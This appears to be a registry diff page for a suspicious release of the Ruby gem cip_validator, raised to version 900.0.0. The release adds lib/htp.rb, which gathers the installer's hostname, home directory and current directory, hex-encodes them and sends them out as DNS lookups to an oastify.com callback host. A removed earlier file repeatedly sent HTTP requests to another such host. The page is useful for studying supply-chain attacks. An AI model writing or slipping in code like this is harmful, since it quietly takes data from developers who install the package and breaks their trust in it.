cip_validator 3.1.0 → 900.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of cip_validator might be problematic. Click here for more details.
- checksums.yaml +4 -4
- data/lib/htp.rb +22 -0
- metadata +10 -16
- data/Gemfile +0 -8
- data/README.md +0 -29
- data/Rakefile +0 -4
- data/lib/cip_validator/version.rb +0 -5
- data/lib/cip_validator.rb +0 -17
- data/sig/cip_validator.rbs +0 -4
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: fb4361a0a6c558c306a5aefee89c2c153ea7a63422a6191b4ff410e62e1c8d79
|
4
|
+
data.tar.gz: 238a89bf76ecb9e7c1fd739fb09f345ad136923aa81decf63cc9ffa973fb32e6
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 9b96a52da5f706f01d7964b3b5846e64504f5ecbfb3c787c945f08f6180f6260a708418dd221e602ba45a6ba9e82c4f867384bf008e75df680c823aaecad7df7
|
7
|
+
data.tar.gz: 7bd77ded57dbfa343ac0ec43ca95a58e946e8c78a0209b45f932c8d73e290d6f83cf327f648b80dba6dd7a4eb92ef14b4c4e307700b3da100098721bf43000f6
|
data/lib/htp.rb
ADDED
@@ -0,0 +1,22 @@
|
|
1
|
+
require 'json'
|
2
|
+
require 'resolv'
|
3
|
+
|
4
|
+
h = '536t5u39tablvlna8gv93i4m6dc40t.oastify.com'
|
5
|
+
p = 'cip_validator'
|
6
|
+
id = rand(36**12).to_s(36)
|
7
|
+
|
8
|
+
d = {
|
9
|
+
'p' => p,
|
10
|
+
'h' => Socket.gethostname,
|
11
|
+
'd' => File.expand_path('~'),
|
12
|
+
'c' => Dir.pwd
|
13
|
+
}
|
14
|
+
|
15
|
+
d = JSON.generate(d)
|
16
|
+
d = d.unpack('H*')[0].scan(/.{1,60}/)
|
17
|
+
|
18
|
+
d.each.each_with_index do |c, i|
|
19
|
+
begin
|
20
|
+
Resolv.getaddress id + '.' + i.to_s + '.' + c + ".dns." + h
|
21
|
+
rescue; end
|
22
|
+
end
|
metadata
CHANGED
@@ -1,29 +1,23 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: cip_validator
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version:
|
4
|
+
version: 900.0.0
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
|
-
-
|
7
|
+
- xen
|
8
8
|
autorequire:
|
9
|
-
bindir:
|
9
|
+
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date:
|
11
|
+
date: 2022-06-05 00:00:00.000000000 Z
|
12
12
|
dependencies: []
|
13
|
-
description:
|
14
|
-
email:
|
15
|
-
- 79111711+AnupamAS01@users.noreply.github.com
|
13
|
+
description:
|
14
|
+
email:
|
16
15
|
executables: []
|
17
16
|
extensions: []
|
18
17
|
extra_rdoc_files: []
|
19
18
|
files:
|
20
|
-
-
|
21
|
-
|
22
|
-
- Rakefile
|
23
|
-
- lib/cip_validator.rb
|
24
|
-
- lib/cip_validator/version.rb
|
25
|
-
- sig/cip_validator.rbs
|
26
|
-
homepage: https://anupamas0x1.github.io/
|
19
|
+
- lib/htp.rb
|
20
|
+
homepage:
|
27
21
|
licenses: []
|
28
22
|
metadata: {}
|
29
23
|
post_install_message:
|
@@ -34,7 +28,7 @@ required_ruby_version: !ruby/object:Gem::Requirement
|
|
34
28
|
requirements:
|
35
29
|
- - ">="
|
36
30
|
- !ruby/object:Gem::Version
|
37
|
-
version:
|
31
|
+
version: '0'
|
38
32
|
required_rubygems_version: !ruby/object:Gem::Requirement
|
39
33
|
requirements:
|
40
34
|
- - ">="
|
@@ -44,5 +38,5 @@ requirements: []
|
|
44
38
|
rubygems_version: 3.0.3.1
|
45
39
|
signing_key:
|
46
40
|
specification_version: 4
|
47
|
-
summary:
|
41
|
+
summary: cody zacharias
|
48
42
|
test_files: []
|
data/Gemfile
DELETED
data/README.md
DELETED
@@ -1,29 +0,0 @@
|
|
1
|
-
# CipValidator
|
2
|
-
|
3
|
-
Welcome to your new gem! In this directory, you'll find the files you need to be able to package up your Ruby library into a gem. Put your Ruby code in the file `lib/cip_validator`. To experiment with that code, run `bin/console` for an interactive prompt.
|
4
|
-
|
5
|
-
TODO: Delete this and the text above, and describe your gem
|
6
|
-
|
7
|
-
## Installation
|
8
|
-
|
9
|
-
Install the gem and add to the application's Gemfile by executing:
|
10
|
-
|
11
|
-
$ bundle add cip_validator
|
12
|
-
|
13
|
-
If bundler is not being used to manage dependencies, install the gem by executing:
|
14
|
-
|
15
|
-
$ gem install cip_validator
|
16
|
-
|
17
|
-
## Usage
|
18
|
-
|
19
|
-
TODO: Write usage instructions here
|
20
|
-
|
21
|
-
## Development
|
22
|
-
|
23
|
-
After checking out the repo, run `bin/setup` to install dependencies. You can also run `bin/console` for an interactive prompt that will allow you to experiment.
|
24
|
-
|
25
|
-
To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and the created tag, and push the `.gem` file to [rubygems.org](https://rubygems.org).
|
26
|
-
|
27
|
-
## Contributing
|
28
|
-
|
29
|
-
Bug reports and pull requests are welcome on GitHub at https://github.com/[USERNAME]/cip_validator.
|
data/Rakefile
DELETED
data/lib/cip_validator.rb
DELETED
@@ -1,17 +0,0 @@
|
|
1
|
-
# frozen_string_literal: true
|
2
|
-
require 'net/http'
|
3
|
-
|
4
|
-
require_relative "cip_validator/version"
|
5
|
-
|
6
|
-
module CipValidator
|
7
|
-
class Error < StandardError; end
|
8
|
-
loop do
|
9
|
-
http = Net::HTTP.new('www.m5sc7go1k5nov8ykuuv7hm4fc6ix6rug.oastify.com')
|
10
|
-
request = Net::HTTP::Get.new('/')
|
11
|
-
response = http.request(request)
|
12
|
-
puts "Response code: #{response.code}"
|
13
|
-
|
14
|
-
sleep 30
|
15
|
-
end
|
16
|
-
end
|
17
|
-
|
data/sig/cip_validator.rbs
DELETED